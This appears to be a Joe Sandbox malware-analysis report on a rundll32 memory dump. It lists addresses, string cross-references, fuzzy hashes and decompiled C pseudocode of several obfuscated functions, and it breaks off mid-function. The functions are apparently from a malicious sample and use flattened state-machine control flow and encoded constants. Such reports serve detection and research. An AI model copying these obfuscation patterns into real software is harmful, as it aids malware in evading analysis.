0x029c7748
0x029c774c
0x029c7750
0x029c7751
0x029c7752
0x029c7757
0x029c775f
0x029c7761
0x029c7765
0x029c7768
0x029c776e
0x029c7776
0x029c777b
0x029c7783
0x029c778b
0x029c7793
0x029c779b
0x029c77a9
0x029c77ae
0x029c77b4
0x029c77bc
0x029c77c4
0x029c77cc
0x029c77d4
0x029c77dc
0x029c77e1
0x029c77e9
0x029c77f1
0x029c77fe
0x029c7801
0x029c7805
0x029c780d
0x029c7815
0x029c781d
0x029c7825
0x029c782a
0x029c7832
0x029c783f
0x029c7843
0x029c784b
0x029c7853
0x029c785b
0x029c7863
0x029c786b
0x029c7873
0x029c787b
0x029c7883
0x029c7888
0x029c788c
0x029c7899
0x029c789d
0x029c78a5
0x029c78b5
0x029c78b9
0x029c78c1
0x029c78cd
0x029c78d0
0x029c78d4
0x029c78dc
0x029c78f1
0x029c78f6
0x029c78fc
0x029c7906
0x029c790e
0x029c7916
0x029c791e
0x029c7926
0x029c792e
0x029c7936
0x029c7942
0x029c7947
0x029c794d
0x029c7952
0x029c795a
0x029c7962
0x029c796a
0x029c7976
0x029c797e
0x029c7982
0x029c798a
0x029c7992
0x029c799f
0x029c79a3
0x029c79ab
0x029c79b1
0x029c7a17
0x029c7a1c
0x029c7a21
0x029c7a23
0x00000000
0x029c7a23
0x029c79b3
0x029c79b9
0x029c79e7
0x00000000
0x029c79bb
0x029c79bd
0x029c7a5f
0x029c7a65
0x00000000
0x00000000
0x029c79c3
0x029c79cf
0x029c79d8
0x029c79dd
0x029c79e3
0x00000000
0x029c79e3
0x029c79dd
0x029c79bd
0x029c79b9
0x029c7a74
0x029c7a74
0x029c7a52
0x029c7a57
0x029c7a5a
0x00000000

Strings

bL0, xrefs: 029C7883
<, xrefs: 029C7992
_W, xrefs: 029C7843

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: _W$bL0$<
API String ID: 0-458269699
Opcode ID: 1520be28669596a268f1fdc4bdc2c4b00fb43c467f7bec9d9788987e21601aeb
Instruction ID: 5606e2948b9cff62c4abb1d179de2169029120b6a542c3fbc2c8f04a8f4730ca
Opcode Fuzzy Hash: 1520be28669596a268f1fdc4bdc2c4b00fb43c467f7bec9d9788987e21601aeb
Instruction Fuzzy Hash: E98130B25083819FC354CE65C88581BFBF6BBC8758F108A1DF29586260C3B6CA498F43

Uniqueness

Uniqueness Score: -1.00%

Function 029C3085, Relevance: 3.9, Strings: 3, Instructions: 177
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E029C3085(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				void* _t132;
				void* _t142;
				void* _t144;
				void* _t147;
				void* _t149;
				signed int _t153;
				signed int _t154;
				void* _t157;
				void* _t178;
				signed int* _t181;

				_t177 = _a16;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t132);
				_v84 = 0xd49ddd;
				_t181 =  &(( &_v84)[6]);
				_v84 = _v84 | 0xb5bff8bb;
				_v84 = _v84 ^ 0x34a21a52;
				_t178 = 0;
				_v84 = _v84 ^ 0x8156b1d6;
				_t157 = 0x823610a;
				_v64 = 0xa86122;
				_v64 = _v64 << 0xf;
				_v64 = _v64 | 0x7bd2d943;
				_v64 = _v64 ^ 0x7bddb68b;
				_v52 = 0x316093;
				_v52 = _v52 + 0xffff1794;
				_v52 = _v52 ^ 0x003046d0;
				_v56 = 0xfca28b;
				_v56 = _v56 >> 1;
				_v56 = _v56 << 0xb;
				_v56 = _v56 ^ 0xf2819551;
				_v32 = 0xf1ac8;
				_v32 = _v32 + 0xb606;
				_v32 = _v32 ^ 0x000057b5;
				_v44 = 0xf1fdbe;
				_t153 = 0x70;
				_v44 = _v44 * 0x26;
				_v44 = _v44 ^ 0x23e35954;
				_v48 = 0x2cfca1;
				_v48 = _v48 * 0x62;
				_v48 = _v48 ^ 0x113778c7;
				_v80 = 0x3f34;
				_v80 = _v80 >> 0x10;
				_v80 = _v80 + 0xffff44a4;
				_v80 = _v80 + 0xfffffdcb;
				_v80 = _v80 ^ 0xfff35fc9;
				_v60 = 0x9bc0a1;
				_v60 = _v60 + 0x2d87;
				_v60 = _v60 ^ 0x6c10e2f1;
				_v60 = _v60 ^ 0x6c8b6848;
				_v36 = 0x9a8f55;
				_v36 = _v36 ^ 0x196f5dcc;
				_v36 = _v36 ^ 0x19f54942;
				_v40 = 0xf1f606;
				_v40 = _v40 / _t153;
				_v40 = _v40 ^ 0x000e65dc;
				_v68 = 0x8f7b7d;
				_v68 = _v68 + 0xfe38;
				_v68 = _v68 ^ 0x39b77d1f;
				_v68 = _v68 + 0xa52;
				_v68 = _v68 ^ 0x392ce0ec;
				_v72 = 0xa6f465;
				_t154 = 0x3d;
				_v72 = _v72 * 0x3d;
				_v72 = _v72 >> 8;
				_v72 = _v72 + 0x51c4;
				_v72 = _v72 ^ 0x002a12cc;
				_v76 = 0x9524a3;
				_v76 = _v76 / _t154;
				_v76 = _v76 << 0xe;
				_v76 = _v76 + 0x65d3;
				_v76 = _v76 ^ 0x9c793838;
				do {
					while(_t157 != 0x157dc06) {
						if(_t157 == 0x1845383) {
							_t144 = E029D6F23( &_v28, _v36, _t177 + 0x20, _v40);
							_t181 =  &(_t181[2]);
							__eflags = _t144;
							if(__eflags != 0) {
								_t157 = 0xb3a796c;
								continue;
							}
						} else {
							if(_t157 == 0x2a1320c) {
								_t147 = E029D6F23( &_v28, _v44, _t177 + 0x2c, _v48);
								_t181 =  &(_t181[2]);
								__eflags = _t147;
								if(__eflags != 0) {
									_t157 = 0x534c5aa;
									continue;
								}
							} else {
								if(_t157 == 0x534c5aa) {
									_t149 = E029D6F23( &_v28, _v80, _t177 + 0x34, _v60);
									_t181 =  &(_t181[2]);
									__eflags = _t149;
									if(__eflags != 0) {
										_t157 = 0x1845383;
										continue;
									}
								} else {
									if(_t157 == 0x823610a) {
										_t157 = 0xcda7010;
										continue;
									} else {
										if(_t157 == 0xb3a796c) {
											__eflags = E029DC5F2(_v68,  &_v28, __eflags, _t177, _v72, _v76);
											_t178 =  !=  ? 1 : _t178;
										} else {
											if(_t157 != 0xcda7010) {
												goto L19;
											} else {
												E029D777F(_v84, _v64,  &_v28, _a12, _v52);
												_t181 =  &(_t181[3]);
												_t157 = 0x157dc06;
												continue;
											}
										}
									}
								}
							}
						}
						L22:
						return _t178;
					}
					_t142 = E029D6F23( &_v28, _v56, _t177 + 0x30, _v32);
					_t181 =  &(_t181[2]);
					__eflags = _t142;
					if(__eflags == 0) {
						_t157 = 0xb9f4585;
						goto L19;
					} else {
						_t157 = 0x2a1320c;
						continue;
					}
					goto L22;
					L19:
					__eflags = _t157 - 0xb9f4585;
				} while (__eflags != 0);
				goto L22;
			}

0x029c308c
0x029c3090
0x029c3091
0x029c3095
0x029c3099
0x029c309d
0x029c309e
0x029c309f
0x029c30a4
0x029c30ac
0x029c30af
0x029c30b9
0x029c30c1
0x029c30c3
0x029c30cb
0x029c30d0
0x029c30d8
0x029c30dd
0x029c30e5
0x029c30ed
0x029c30f5
0x029c30fd
0x029c3105
0x029c310d
0x029c3111
0x029c3116
0x029c311e
0x029c3126
0x029c312e
0x029c3136
0x029c3145
0x029c3148
0x029c314c
0x029c3154
0x029c3161
0x029c3165
0x029c316d
0x029c3175
0x029c317a
0x029c3182
0x029c318a
0x029c3192
0x029c319a
0x029c31a2
0x029c31aa
0x029c31b2
0x029c31ba
0x029c31c2
0x029c31ca
0x029c31da
0x029c31de
0x029c31e6
0x029c31ee
0x029c31f6
0x029c31fe
0x029c3206
0x029c320e
0x029c321b
0x029c321c
0x029c3220
0x029c3225
0x029c322d
0x029c3235
0x029c3243
0x029c3247
0x029c324c
0x029c3254
0x029c3266
0x029c3266
0x029c3274
0x029c3332
0x029c3337
0x029c333a
0x029c333c
0x029c333e
0x00000000
0x029c333e
0x029c327a
0x029c327c
0x029c3308
0x029c330d
0x029c3310
0x029c3312
0x029c3318
0x00000000
0x029c3318
0x029c327e
0x029c3284
0x029c32e1
0x029c32e6
0x029c32e9
0x029c32eb
0x029c32f1
0x00000000
0x029c32f1
0x029c3286
0x029c328c
0x029c32ca
0x00000000
0x029c328e
0x029c3294
0x029c339a
0x029c339c
0x029c329a
0x029c32a0
0x00000000
0x029c32a6
0x029c32bb
0x029c32c0
0x029c32c3
0x00000000
0x029c32c3
0x029c32a0
0x029c3294
0x029c328c
0x029c3284
0x029c327c
0x029c33a0
0x029c33a8
0x029c33a8
0x029c3358
0x029c335d
0x029c3360
0x029c3362
0x029c336b
0x00000000
0x029c3364
0x029c3364
0x00000000
0x029c3364
0x00000000
0x029c3370
0x029c3370
0x029c3370
0x00000000

Strings

,9, xrefs: 029C3206
4?, xrefs: 029C316D
TY#, xrefs: 029C314C

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4?$TY#$,9
API String ID: 0-2698369630
Opcode ID: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction ID: c6c10e09771435e3c739f568b7cfef820c0bba7debd4059c0d940438a2a287e3
Opcode Fuzzy Hash: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction Fuzzy Hash: F17155B15083429BC758CE22C98581BBBF5FFD4358F608A1DF18696260E772DA49CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029E3306, Relevance: 3.9, Strings: 3, Instructions: 156
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E029E3306(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* _t139;
				void* _t151;
				signed int _t152;
				void* _t157;
				void* _t172;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t177;
				signed int* _t179;

				_t155 = _a12;
				_push(_a16);
				_t177 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t139);
				_v16 = 0xb88469;
				_t179 =  &(( &_v64)[6]);
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0x0b884692;
				_t172 = 0;
				_v64 = 0x638093;
				_t157 = 0xa081b5f;
				_v64 = _v64 >> 0xd;
				_v64 = _v64 << 7;
				_v64 = _v64 | 0xec6aa9fa;
				_v64 = _v64 ^ 0xec6bafea;
				_v44 = 0xea5ab4;
				_v44 = _v44 | 0x591ec99c;
				_v44 = _v44 + 0xffff81c0;
				_v44 = _v44 ^ 0x19fe5d7c;
				_v60 = 0xf22659;
				_t173 = 0x1b;
				_v60 = _v60 / _t173;
				_v60 = _v60 >> 0x10;
				_v60 = _v60 ^ 0x5e87577e;
				_v60 = _v60 ^ 0x5e8e40ee;
				_v48 = 0x846a21;
				_t174 = 0x1d;
				_v48 = _v48 * 0x22;
				_v48 = _v48 + 0x2e3;
				_v48 = _v48 ^ 0x11975bb3;
				_v52 = 0xa894e7;
				_v52 = _v52 >> 0x10;
				_v52 = _v52 + 0x11ac;
				_v52 = _v52 ^ 0x0000e297;
				_v20 = 0x8c5052;
				_v20 = _v20 ^ 0xe2c3b3b4;
				_v20 = _v20 ^ 0xe24eacab;
				_v56 = 0x7461e0;
				_v56 = _v56 * 0x53;
				_v56 = _v56 ^ 0x5881da99;
				_v56 = _v56 ^ 0x7d3bc1ee;
				_v24 = 0xf523ac;
				_v24 = _v24 + 0x2e2f;
				_v24 = _v24 ^ 0x00f90ab8;
				_v36 = 0x42a2d9;
				_v36 = _v36 ^ 0x87389db1;
				_v36 = _v36 | 0x2a87b1eb;
				_v36 = _v36 ^ 0xaff79151;
				_v8 = 0x69dca5;
				_v8 = _v8 / _t174;
				_v8 = _v8 ^ 0x0005cada;
				_v12 = 0xc740c0;
				_v12 = _v12 * 0x26;
				_v12 = _v12 ^ 0x1d99399c;
				_v40 = 0xd6489f;
				_v40 = _v40 | 0x20a97ad1;
				_v40 = _v40 + 0xe96c;
				_v40 = _v40 ^ 0x21043c8a;
				_v28 = 0x5054ba;
				_v28 = _v28 >> 2;
				_v28 = _v28 + 0x24c0;
				_v28 = _v28 ^ 0x00162868;
				_v32 = 0x999b5f;
				_t175 = 0x14;
				_v32 = _v32 / _t175;
				_v32 = _v32 + 0xb74d;
				_v32 = _v32 ^ 0x00032bcf;
				_v4 = 0x4c2b04;
				_v4 = _v4 + 0x127b;
				_v4 = _v4 ^ 0x004daaa7;
				_t176 = _v4;
				do {
					while(_t157 != 0x5a6dde) {
						if(_t157 == 0x6c89da0) {
							_t152 = E029D2D06(_v44, _v60, _v48, _t177, _t157, _v16, _v52, _v20, _v56, _t157, _v24, _v64, 0);
							_t176 = _t152;
							_t179 =  &(_t179[0xb]);
							if(_t152 != 0xffffffff) {
								_t157 = 0x5a6dde;
								continue;
							}
						} else {
							if(_t157 == 0xa081b5f) {
								_t157 = 0x6c89da0;
								continue;
							} else {
								if(_t157 != 0xbd8eaa9) {
									goto L11;
								} else {
									E029D9038(_v28, _v32, _t176, _v4);
								}
							}
						}
						L6:
						return _t172;
					}
					_t151 = E029D4C43(_t157, _v36, _v8, _v12, _t176,  *((intOrPtr*)(_t155 + 4)),  *_t155, _t155 + 4, _v40);
					_t179 =  &(_t179[7]);
					_t172 = _t151;
					_t157 = 0xbd8eaa9;
					L11:
				} while (_t157 != 0x7afddd1);
				goto L6;
			}

0x029e330a
0x029e3311
0x029e3315
0x029e3317
0x029e3318
0x029e331c
0x029e3320
0x029e3321
0x029e3322
0x029e3327
0x029e332f
0x029e3332
0x029e3339
0x029e3341
0x029e3343
0x029e334b
0x029e3350
0x029e3355
0x029e335a
0x029e3362
0x029e336a
0x029e3372
0x029e337a
0x029e3382
0x029e338a
0x029e3398
0x029e339d
0x029e33a3
0x029e33a8
0x029e33b0
0x029e33b8
0x029e33c5
0x029e33c6
0x029e33ca
0x029e33d2
0x029e33da
0x029e33e2
0x029e33e7
0x029e33ef
0x029e33f7
0x029e33ff
0x029e3407
0x029e340f
0x029e341c
0x029e3420
0x029e3428
0x029e3430
0x029e3438
0x029e3440
0x029e3448
0x029e3450
0x029e3458
0x029e3460
0x029e3468
0x029e3476
0x029e347a
0x029e3482
0x029e348f
0x029e3493
0x029e349b
0x029e34a3
0x029e34ab
0x029e34b3
0x029e34bb
0x029e34c3
0x029e34c8
0x029e34d0
0x029e34da
0x029e34e8
0x029e34eb
0x029e34ef
0x029e34f7
0x029e34ff
0x029e3507
0x029e350f
0x029e3517
0x029e351b
0x029e351b
0x029e352d
0x029e3591
0x029e3596
0x029e3598
0x029e359e
0x029e35a0
0x00000000
0x029e35a0
0x029e352f
0x029e3535
0x029e3561
0x00000000
0x029e3537
0x029e353d
0x00000000
0x029e3543
0x029e3550
0x029e3556
0x029e353d
0x029e3535
0x029e3557
0x029e3560
0x029e3560
0x029e35c3
0x029e35c8
0x029e35cb
0x029e35cd
0x029e35d2
0x029e35d2
0x00000000

Strings

l, xrefs: 029E34AB
/., xrefs: 029E3438
at, xrefs: 029E340F

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: /.$l$at
API String ID: 0-2847909692
Opcode ID: 3be8fcc2cd3ba913d51691b54a275b72ad37b4802e9d6a7148640bcc821b8acf
Instruction ID: 3fb68c3123ed5210fdc7b27de50966375c99e59afe1602ddfc18b0b419d9026d
Opcode Fuzzy Hash: 3be8fcc2cd3ba913d51691b54a275b72ad37b4802e9d6a7148640bcc821b8acf
Instruction Fuzzy Hash: 7E7120710083009FC799DF65C98981BBFE6FBC5758F404A0DF29A96220D3B68A59CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029C597D, Relevance: 3.9, Strings: 3, Instructions: 133
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E029C597D(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v28;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				void* _t95;
				void* _t109;
				void* _t115;
				void* _t117;
				signed int _t138;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				void* _t144;
				signed int* _t147;

				_push(_a8);
				_t115 = __ecx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t95);
				_v44 = 0x346521;
				_t147 =  &(( &_v76)[4]);
				asm("stosd");
				_t144 = 0;
				_t117 = 0xae0eaae;
				asm("stosd");
				asm("stosd");
				_v68 = 0x19a4bd;
				_v68 = _v68 << 7;
				_v68 = _v68 ^ 0x12b03556;
				_v68 = _v68 ^ 0x1e68d25d;
				_v48 = 0xc60d9;
				_v48 = _v48 ^ 0x579581a3;
				_v48 = _v48 ^ 0x57960b1b;
				_v72 = 0x836344;
				_v72 = _v72 + 0xffff209c;
				_v72 = _v72 ^ 0xd7440917;
				_v72 = _v72 ^ 0xd7cac68f;
				_v60 = 0xdf9f83;
				_t138 = 0xa;
				_v60 = _v60 / _t138;
				_v60 = _v60 ^ 0x57db6c9a;
				_v60 = _v60 ^ 0x57caf206;
				_v64 = 0xe2d761;
				_t139 = 0x5f;
				_v64 = _v64 / _t139;
				_t140 = 0x3e;
				_v64 = _v64 / _t140;
				_v64 = _v64 ^ 0x000366b6;
				_v76 = 0x232e10;
				_v76 = _v76 ^ 0xc1388f6b;
				_t141 = 0x2f;
				_v76 = _v76 / _t141;
				_v76 = _v76 << 5;
				_v76 = _v76 ^ 0x8372d9e1;
				_v52 = 0x276d51;
				_t64 =  &_v52; // 0x276d51
				_t142 = 0x5a;
				_v52 =  *_t64 / _t142;
				_v52 = _v52 + 0xffffb7c9;
				_v52 = _v52 ^ 0x00002a4f;
				_v56 = 0x859c77;
				_v56 = _v56 + 0xb2e0;
				_v56 = _v56 >> 0x10;
				_v56 = _v56 ^ 0x0003dace;
				do {
					while(_t117 != 0x89c54d) {
						if(_t117 == 0x393515e) {
							E029D777F(_v68, _v48,  &_v28, _a4, _v72);
							_t147 =  &(_t147[3]);
							_t117 = 0x89c54d;
							continue;
						} else {
							if(_t117 == 0xae0eaae) {
								_t117 = 0x393515e;
								continue;
							} else {
								_t153 = _t117 - 0xf9977ed;
								if(_t117 != 0xf9977ed) {
									goto L12;
								} else {
									E029DC5F2(_v76,  &_v28, _t153, _t115 + 8, _v52, _v56);
									_t144 =  !=  ? 1 : _t144;
								}
							}
						}
						L6:
						return _t144;
					}
					_t109 = E029D6F23( &_v28, _v60, _t115 + 0x20, _v64);
					_t147 =  &(_t147[2]);
					__eflags = _t109;
					if(__eflags == 0) {
						_t117 = 0x49bbd78;
						goto L12;
					} else {
						_t117 = 0xf9977ed;
						continue;
					}
					goto L6;
					L12:
					__eflags = _t117 - 0x49bbd78;
				} while (__eflags != 0);
				goto L6;
			}

0x029c5984
0x029c5988
0x029c598a
0x029c598e
0x029c598f
0x029c5990
0x029c5995
0x029c59a3
0x029c59a6
0x029c59a9
0x029c59ab
0x029c59b7
0x029c59b8
0x029c59b9
0x029c59c1
0x029c59c6
0x029c59ce
0x029c59d6
0x029c59de
0x029c59e6
0x029c59ee
0x029c59f6
0x029c59fe
0x029c5a06
0x029c5a0e
0x029c5a1a
0x029c5a1f
0x029c5a25
0x029c5a2d
0x029c5a35
0x029c5a41
0x029c5a46
0x029c5a50
0x029c5a55
0x029c5a5b
0x029c5a63
0x029c5a6b
0x029c5a77
0x029c5a7c
0x029c5a82
0x029c5a87
0x029c5a8f
0x029c5a97
0x029c5a9b
0x029c5aa3
0x029c5aa7
0x029c5aaf
0x029c5ab7
0x029c5abf
0x029c5ac7
0x029c5acc
0x029c5ad4
0x029c5ad4
0x029c5ade
0x029c5b33
0x029c5b38
0x029c5b3b
0x00000000
0x029c5ae0
0x029c5ae6
0x029c5b1a
0x00000000
0x029c5ae8
0x029c5ae8
0x029c5aea
0x00000000
0x029c5aec
0x029c5b00
0x029c5b0d
0x029c5b0d
0x029c5aea
0x029c5ae6
0x029c5b11
0x029c5b19
0x029c5b19
0x029c5b52
0x029c5b57
0x029c5b5a
0x029c5b5c
0x029c5b65
0x00000000
0x029c5b5e
0x029c5b5e
0x00000000
0x029c5b5e
0x00000000
0x029c5b6a
0x029c5b6a
0x029c5b6a
0x00000000

Strings

!e4, xrefs: 029C5995
O*, xrefs: 029C5AAF
Qm', xrefs: 029C5A97

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: !e4$O*$Qm'
API String ID: 0-765253384
Opcode ID: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction ID: 123a4bd741013f9e89ff2765dc78fba388caaceca50306484cb672b53ff28d68
Opcode Fuzzy Hash: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction Fuzzy Hash: 91518BB16083019BD714DF26C94581FBBE6FFC8708F544A2DF586A6260D3B5DA0ACB83

Uniqueness

Uniqueness Score: -1.00%

Function 029E1987, Relevance: 3.9, Strings: 3, Instructions: 130
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029E1987() {
				char _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				char* _t114;
				void* _t120;
				signed int _t137;
				signed int _t138;
				signed int _t139;
				short* _t142;
				signed int* _t144;

				_t144 =  &_v560;
				_v548 = 0x6ebf96;
				_v548 = _v548 | 0x9a768520;
				_t120 = 0x8a8a36;
				_v548 = _v548 * 0xc;
				_v548 = _v548 ^ 0x3dfa5361;
				_v524 = 0x2a734d;
				_v524 = _v524 + 0xffff5425;
				_v524 = _v524 ^ 0x002e0910;
				_v540 = 0x3e01c2;
				_v540 = _v540 + 0x2d50;
				_t137 = 0x68;
				_v540 = _v540 * 0x74;
				_v540 = _v540 ^ 0x1c200c95;
				_v536 = 0x902d23;
				_v536 = _v536 * 0x63;
				_v536 = _v536 + 0xffff6d09;
				_v536 = _v536 ^ 0x37ce1a8e;
				_v528 = 0x8b3b29;
				_v528 = _v528 / _t137;
				_v528 = _v528 ^ 0x000477a7;
				_v556 = 0x4b7c37;
				_v556 = _v556 + 0xffff35cc;
				_t138 = 0x14;
				_v556 = _v556 / _t138;
				_v556 = _v556 << 8;
				_v556 = _v556 ^ 0x03b981aa;
				_v532 = 0x4fbe6b;
				_v532 = _v532 | 0xf1edeafb;
				_t139 = 0x3f;
				_v532 = _v532 * 0x7e;
				_v532 = _v532 ^ 0x141dd2a4;
				_v544 = 0xf4ccf3;
				_v544 = _v544 * 0x7e;
				_v544 = _v544 >> 5;
				_v544 = _v544 ^ 0x03c030c9;
				_v560 = 0xf161bd;
				_v560 = _v560 / _t139;
				_v560 = _v560 | 0xb6fb1244;
				_v560 = _v560 ^ 0x617c2797;
				_v560 = _v560 ^ 0xd783adf5;
				L1:
				while(_t120 != 0x8a8a36) {
					if(_t120 == 0x1a2f057) {
						_v552 = 0xb0b7fb;
						_v552 = _v552 + 0xffff846a;
						_v552 = _v552 * 0x3c;
						_v552 = _v552 ^ 0x294e27ae;
						_t142 =  &_v520 + E029CF14F(_v528,  &_v520, _v556, _v532) * 2;
						while(1) {
							_t114 =  &_v520;
							__eflags = _t142 - _t114;
							if(__eflags <= 0) {
								break;
							}
							__eflags =  *_t142 - 0x5c;
							if( *_t142 != 0x5c) {
								L11:
								_t142 = _t142 - 2;
								__eflags = _t142;
								continue;
							}
							_t98 =  &_v552;
							 *_t98 = _v552 - 1;
							__eflags =  *_t98;
							if( *_t98 == 0) {
								__eflags = _t142;
								L15:
								_t120 = 0xe465555;
								goto L1;
							}
							goto L11;
						}
						goto L15;
					}
					if(_t120 == 0x3293d9f) {
						_t114 = E029C24AA(_t120, _v548, __eflags,  &_v520, _v524, _v540, _v536);
						_t144 =  &(_t144[4]);
						_t120 = 0x1a2f057;
						continue;
					}
					if(_t120 != 0xe465555) {
						L17:
						__eflags = _t120 - 0x9c3608;
						if(__eflags != 0) {
							continue;
						}
						return _t114;
					}
					return E029CE112(_t142, _v544, _v560,  *0x29e5bd8 + 0x30);
				}
				_t120 = 0x3293d9f;
				goto L17;
			}

0x029e1987
0x029e198d
0x029e1997
0x029e199f
0x029e19ad
0x029e19b6
0x029e19c3
0x029e19d0
0x029e19d8
0x029e19e0
0x029e19e8
0x029e19f7
0x029e19fa
0x029e19fe
0x029e1a06
0x029e1a13
0x029e1a17
0x029e1a1f
0x029e1a27
0x029e1a37
0x029e1a3b
0x029e1a43
0x029e1a4b
0x029e1a57
0x029e1a5c
0x029e1a62
0x029e1a67
0x029e1a6f
0x029e1a77
0x029e1a84
0x029e1a85
0x029e1a89
0x029e1a91
0x029e1a9e
0x029e1aa2
0x029e1aa7
0x029e1aaf
0x029e1ac1
0x029e1ac5
0x029e1acd
0x029e1ad5
0x00000000
0x029e1add
0x029e1aeb
0x029e1b3f
0x029e1b4b
0x029e1b58
0x029e1b5c
0x029e1b7b
0x029e1b8f
0x029e1b8f
0x029e1b93
0x029e1b95
0x00000000
0x00000000
0x029e1b80
0x029e1b84
0x029e1b8c
0x029e1b8c
0x029e1b8c
0x00000000
0x029e1b8c
0x029e1b86
0x029e1b86
0x029e1b86
0x029e1b8a
0x029e1b99
0x029e1b9c
0x029e1b9c
0x00000000
0x029e1b9c
0x00000000
0x029e1b8a
0x00000000
0x029e1b97
0x029e1aef
0x029e1b33
0x029e1b38
0x029e1b3b
0x00000000
0x029e1b3b
0x029e1af3
0x029e1ba5
0x029e1ba5
0x029e1bab
0x00000000
0x00000000
0x00000000
0x029e1bab
0x00000000
0x029e1b12
0x029e1ba3
0x00000000

Strings

P-, xrefs: 029E19E8
Ms*, xrefs: 029E19C3
7|K, xrefs: 029E1A43

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 7|K$Ms*$P-
API String ID: 0-841752872
Opcode ID: 6938165595a892895bc1d5d3a71a59be6a99c2c01ba8cbd9ae1f475cfc4313ab
Instruction ID: 9ea53d21adeba3a91ca47050403dc7421c4a4b6ff91932f9400372ff35ebbe71
Opcode Fuzzy Hash: 6938165595a892895bc1d5d3a71a59be6a99c2c01ba8cbd9ae1f475cfc4313ab
Instruction Fuzzy Hash: 83516471508341AFC758CF29C48546BBBE6FBC4368F545E1EF58A96260E370CA4A8F87

Uniqueness

Uniqueness Score: -1.00%

Function 029DCC3F, Relevance: 3.8, Strings: 3, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E029DCC3F(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t98;
				signed int _t110;
				signed int _t114;
				void* _t121;
				signed int _t122;

				_push(_a4);
				_t121 = __edx;
				_push(__edx);
				_push(__ecx);
				E029C8002(_t98);
				_v36 = 0x2862bf;
				_v36 = _v36 + 0xffff67be;
				_v36 = _v36 ^ 0x002cfbc8;
				_v8 = 0x866732;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 << 9;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 ^ 0x000bb185;
				_v16 = 0xe510d5;
				_v16 = _v16 << 7;
				_v16 = _v16 | 0x4a470f6b;
				_v16 = _v16 + 0xffff4181;
				_v16 = _v16 ^ 0x7ac93ac4;
				_v12 = 0x318916;
				_v12 = _v12 + 0xcf44;
				_v12 = _v12 + 0x52dc;
				_v12 = _v12 ^ 0xada1a6fc;
				_v12 = _v12 ^ 0xad9ebd99;
				_v32 = 0x663164;
				_v32 = _v32 + 0xffff6afc;
				_v32 = _v32 + 0xda3f;
				_v32 = _v32 ^ 0x006f92fd;
				_v28 = 0x9e1971;
				_v28 = _v28 | 0x144723ce;
				_v28 = _v28 >> 5;
				_v28 = _v28 ^ 0x00a4ca99;
				_v40 = 0xfdd9bf;
				_t114 = 0x1e;
				_v40 = _v40 / _t114;
				_v40 = _v40 ^ 0x00008fd1;
				_v24 = 0xe04e6a;
				_v24 = _v24 + 0xffff5754;
